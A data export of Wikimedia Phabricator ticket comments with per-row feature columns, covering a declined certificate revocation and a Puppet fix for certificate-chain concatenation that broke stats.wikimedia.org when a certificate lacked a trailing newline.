+390197,URGENT: CERT for old-bugzilla.wikimedia.org,//Subject changed from 'Fwd: Ticket creation failed: URGENT: CERT for old-bugzilla.wikimedia.org' to 'URGENT: CERT for old-bugzilla.wikimedia.org' by aklapper//,,,1416614021,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+390186,URGENT: CERT for old-bugzilla.wikimedia.org,//Cc aklapper added by aklapper//,,,1416614008,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+84568,revoke virt.star.pmtpa ssl certificate,"%%%RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/%%%
+%%%""anytime we delete a certificate, please make an independent core-ops ticket to%%%
+%%%invalidate the certificate on the provider level, and assign said ticket to%%%
+%%%me.""%%%
+%%%this is that ticket for certificate:%%%
+%%%virt-star.pmtpa.wmnet%%%
+%%%https://gerrit.wikimedia.org/r/#/c/164696/%%%
+",Medium,50.0,1412978666,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-lt2ln2kwrkqwromgcio3,task_description,declined,True,c3,1,True,False,True,-38,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+389453,revoke virt.star.pmtpa ssl certificate,//Status changed from 'open' to 'rejected' by dzahn//,,,1418121633,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+389442,revoke virt.star.pmtpa ssl certificate,"%%%CA is gone afaict, name has pmtpa anyways, can't be verified nor revoked%%%",,,1418121633,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+389434,revoke virt.star.pmtpa ssl certificate,"%%%I'm not sure either. I heard on IRC that we don't have the CA anymore, that%%%
+%%%sounds like can't do much here besides just closing ticket.%%%",,,1418119965,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+389427,revoke virt.star.pmtpa ssl certificate,//Given to dzahn by robh//,,,1417798935,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389419,revoke virt.star.pmtpa ssl certificate,//Status changed from 'new' to 'open' by RT_System//,,,1417798935,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+389412,revoke virt.star.pmtpa ssl certificate,"%%%When I said assign them to me, I meant only the ones we pay for via rapidssl,%%%
+%%%digicert, globalsign, symantec, etc...%%%
+%%%internal authed ones I have no idea where we revoke, since the system that%%%
+%%%issued them was decomissioned.%%%
+%%%assigning back to requestor, since I'm not sure what needs to be done.%%%
+%%%--%%%
+%%%Rob Halsell%%%
+%%%Operations Engineer%%%
+%%%Wikimedia Foundation, Inc.%%%
+%%%E-Mail: <rhalsell at wikimedia>%%%",,,1417798934,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+389404,revoke virt.star.pmtpa ssl certificate,//Given to robh by dzahn//,,,1413404379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389395,revoke virt.star.pmtpa ssl certificate,"%%%this is about%%%
+%%%virt-star.pmtpa.wmnet%%%
+%%%note how there still is%%%
+%%%virt-star.eqiad.wmnet%%%
+%%%which should of course stay%%%",,,1413404366,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+389385,revoke virt.star.pmtpa ssl certificate,//Subject changed from 'revoke virt.star ssl certificate' to 'revoke virt.star.pmtpa ssl certificate' by dzahn//,,,1413404320,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+389377,revoke virt.star.pmtpa ssl certificate,"%%%deleted cert from public puppet, deleted key from private puppet%%%
+%%%afaict all the hosts it was used on are down (virt0, ..?) and wiped already%%%",,,1413404303,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+389365,revoke virt.star.pmtpa ssl certificate,//Stolen from robh by dzahn//,,,1412983603,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389356,revoke virt.star.pmtpa ssl certificate,//Given to robh by johnflewis93//,,,1412979693,,PHID-USER-4n6zx4s5v23pjdztvtnr,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389347,revoke virt.star.pmtpa ssl certificate,Dependency by ticket #8560 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+84543,more robust certificate chain creation in puppet,"**Author:** `@qchris
+
+**Description:**
+%%%Hi,%%%
+%%%stats.wikimedia.org and datasets.wikimedia.org are unavailable (“Connection refused” [1])%%%
+%%%(Initial report on Server Admin Log at 2014-10-06%%%
+%%%20:08 Nemo_bis: 22.03 < Ainali> It was just noticed on svwp village pump that http://stats.wikimedia.org is down%%%
+%%%)%%%
+%%%Both domains are hosted on stat1001.%%%
+%%%Stat1001's apache is not running, but I lack permission to look at the%%%
+%%%logs.%%%
+%%%Could you please have a look what's going on there?%%%
+%%%Thanks,%%%
+%%%Christian%%%
+%%%P.S.: Tracking bug in bugzilla is at%%%
+%%%https://bugzilla.wikimedia.org/show_bug.cgi?id=71686%%%
+%%%[1]%%%
+%%%_________________________________________________________________%%%
+%%%christian@spencer // jobs: 0 // time: 02:00:02 // exit code: 0%%%
+%%%cwd: ~%%%
+%%%wget http://stats.wikimedia.org%%%
+%%%--2014-10-06 02:00:14--  http://stats.wikimedia.org/%%%
+%%%Resolving stats.wikimedia.org... 208.80.154.155%%%
+%%%Connecting to stats.wikimedia.org|208.80.154.155|:80... failed: Connection refused.%%%
+%%%--%%%
+
+%%%---------------------------------------------------------------%%%
+
+__________________________
+
+**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=71686 | 71686 ]] => {T73686}
+",Medium,50.0,1412553892,1508771956.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-uczzals2x5qlvqvklrcf,task_description,resolved,True,c3,1,False,False,False,-39,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+770266,more robust certificate chain creation in puppet,I think this old ticket imported from RT times can be resolved. But i would say the authority on this should be @BBlack ,,,1480610230,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,3,True,,,74,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+467073,more robust certificate chain creation in puppet,"Change 194455 abandoned by Dzahn:
+ensure there is always a newline in chained certs
+
+[[https://gerrit.wikimedia.org/r/194455]]",,,1433199190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+421999,more robust certificate chain creation in puppet,"@qchris thanks for confirming. i made it public. 
+
+and here's a related Gerrit change:
+
+https://gerrit.wikimedia.org/r/#/c/194455/
+
+",,,1425621908,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0
+421350,more robust certificate chain creation in puppet,"
+
+
+>>! In T84543#1091241, @Dzahn wrote:
+> @qchris [...] I would like to make the ticket public but there
+> is your private data and when i edit the ticket there is still the diff in history.
+
+Thanks for caring about such things. That's really great!
+
+For me, it's fine to make this ticket public.
+
+It's always ok to publish my emails (including the added street address, phone numbers and some such).
+
+(Stupid local law requires me to add street address and all these things to work-related
+emails. „Impressumspflicht” ftw! :-/ )
+
+
+
+",,,1425553256,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+421280,more robust certificate chain creation in puppet,"(Why is that an issue in Phab but not on publicly archived mailing lists like wikitech-l or analytics-l? 
+For the records, Phab admins can hide complete comments and users can hide their own comments.)",,,1425543925,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+421245,more robust certificate chain creation in puppet,"@qchris see my comment above. and what you get when you hit ""(Show Details)"" immediately above this comment next to ""Dzahn edited the task description"".  I would like to make the ticket public but there is your private data and when i edit the ticket there is still the diff in history.",,,1425534837,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0
+421244,more robust certificate chain creation in puppet,"another question. i would have made this ticket public, but i did not for one reason. Christian's mail footer with the private street address, phone numbers, etc. can we just delete that?",,,1425534635,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+421238,more robust certificate chain creation in puppet,"```
+ 57     exec { ""${name}_create_chained_cert"":
+ 58         creates => ""${location}/${certname}.chained.crt"",
+ 59         command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt ${ca} > ${location}/${certname}.chained.crt"",
+ 60         cwd     => '/etc/ssl/certs',
+
+```
+
+^ Current code. It has just used cat all the time. The problem was that when we add certificates to the repos we had missing newlines. Another way to approach it would be trying to detect that when certificates are first uploaded, say if jenkins would -2 missing newline when files end in .crt",,,1425533042,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+389259,more robust certificate chain creation in puppet,"%%%On Mon Oct 06 15:04:54 2014, abogott wrote:%%%
+> So this would be something like
+>
+> command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt
+> /etc/ssl/private/${certname}.key > ${location}/${certname}.crt && echo '' >>
+> ${location}/${certname}.crt""
+>
+> ?
+%%%something to that effect, yes but we should guarantee that the certs are%%%
+%%%separated by at least one newline so sth like%%%
+%%%cat cert1 > chain ; echo >> chain ; cat cert2 >> chain%%%",,,1412608445,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1
+389250,more robust certificate chain creation in puppet,"%%%So this would be something like%%%
+%%%command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt%%%
+%%%/etc/ssl/private/${certname}.key > ${location}/${certname}.crt && echo '' >>%%%
+%%%${location}/${certname}.crt""%%%
+%%%?%%%",,,1412607894,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1
+389242,more robust certificate chain creation in puppet,//Queue changed from ops-requests to core-ops by fgiunchedi//,,,1412586213,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389233,more robust certificate chain creation in puppet,//Subject changed from 'Webserver for stats.wikimedia.org and datasets.wikimedia.org not running' to 'more robust certificate chain creation in puppet' by fgiunchedi//,,,1412586213,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0
+389222,more robust certificate chain creation in puppet,"%%%On Mon Oct 06 08:46:13 2014, fgiunchedi wrote:%%%
+> root cause is that the certificate for stats.wikimedia.org is missing
+> a
+> trailing newline, thus when it gets concatenated the resulting chained
+> file is
+> invalid
+%%%fixed by qchris in https://gerrit.wikimedia.org/r/#/c/164914/%%%
+%%%the code that concatenates certs should be inserting a newline anyway, I think%%%
+%%%an additional newline between certs doesn't cause problems with parsing the%%%
+%%%chain%%%",,,1412586175,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+389211,more robust certificate chain creation in puppet,"%%%root cause is that the certificate for stats.wikimedia.org is missing a%%%
+%%%trailing newline, thus when it gets concatenated the resulting chained file is%%%
+%%%invalid%%%
+%%%On Mon Oct 06 08:37:25 2014, fgiunchedi wrote:%%%
+> from apache2 error.log
+>
+> [Sun Oct 05 06:25:11 2014] [error] python_init: Python version
+> mismatch,
+> expected '2.7.2+', fou
+> nd '2.7.3'.
+> [Sun Oct 05 06:25:11 2014] [error] python_init: Python executable
+> found
+> '/usr/bin/python'.
+> [Sun Oct 05 06:25:11 2014] [error] python_init: Python path being used
+> '/usr/lib/python2.7/:/us
+> r/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-
+> tk:/usr/lib/python2.7/lib-old:/usr/lib/pytho
+> n2.7/lib-dynload'.
+> [Sun Oct 05 06:25:11 2014] [notice] mod_python: Creating 8 session
+> mutexes
+> based on 150 max pro
+> cesses and 0 max threads.
+> [Sun Oct 05 06:25:11 2014] [notice] mod_python: using mutex_directory
+> /tmp
+> [Sun Oct 05 06:25:11 2014] [error] Failed to configure CA certificate
+> chain!
+> [Sun Oct 05 06:33:50 2014] [error] Failed to configure CA certificate
+> chain!
+> [Sun Oct 05 06:54:02 2014] [error] Failed to configure CA certificate
+> chain!
+>
+> and the same message repeated again
+>
+> On Mon Oct 06 00:04:52 2014, <christian at quelltextlich>
+> >
+> >
+> > [1]
+> > _________________________________________________________________
+> > <christian at spencer // jobs: 0 // time: 02:00:02 // exit code: 0
+> > cwd: ~
+> > wget http://stats> failed:
+> > Connection refused.
+> >
+> >
+> >
+> >",,,1412585173,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+389201,more robust certificate chain creation in puppet,//Status changed from 'new' to 'open' by RT_System//,,,1412584646,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+389190,more robust certificate chain creation in puppet,"%%%from apache2 error.log%%%
+%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python version mismatch,%%%
+%%%expected '2.7.2+', fou%%%
+%%%nd '2.7.3'.%%%
+%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python executable found%%%
+%%%'/usr/bin/python'.%%%
+%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python path being used%%%
+%%%'/usr/lib/python2.7/:/us%%%
+%%%r/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-tk:/usr/lib/python2.7/lib-old:/usr/lib/pytho%%%
+%%%n2.7/lib-dynload'.%%%
+%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: Creating 8 session mutexes%%%
+%%%based on 150 max pro%%%
+%%%cesses and 0 max threads.%%%
+%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: using mutex_directory /tmp%%%
+%%%[Sun Oct 05 06:25:11 2014] [error] Failed to configure CA certificate chain!%%%
+%%%[Sun Oct 05 06:33:50 2014] [error] Failed to configure CA certificate chain!%%%
+%%%[Sun Oct 05 06:54:02 2014] [error] Failed to configure CA certificate chain!%%%
+%%%and the same message repeated again%%%
+%%%On Mon Oct 06 00:04:52 2014, <christian at quelltextlich>%%%
+>
+>
+> [1]
+> _________________________________________________________________
+> <christian at spencer // jobs: 0 // time: 02:00:02 // exit code: 0
+> cwd: ~
+> wget http://stats> failed:
+> Connection refused.
+>
+>
+>
+>",,,1412584645,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+389178,more robust certificate chain creation in puppet,//Bugzilla ticket 71686 added by jeremyb//,,,1412558773,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
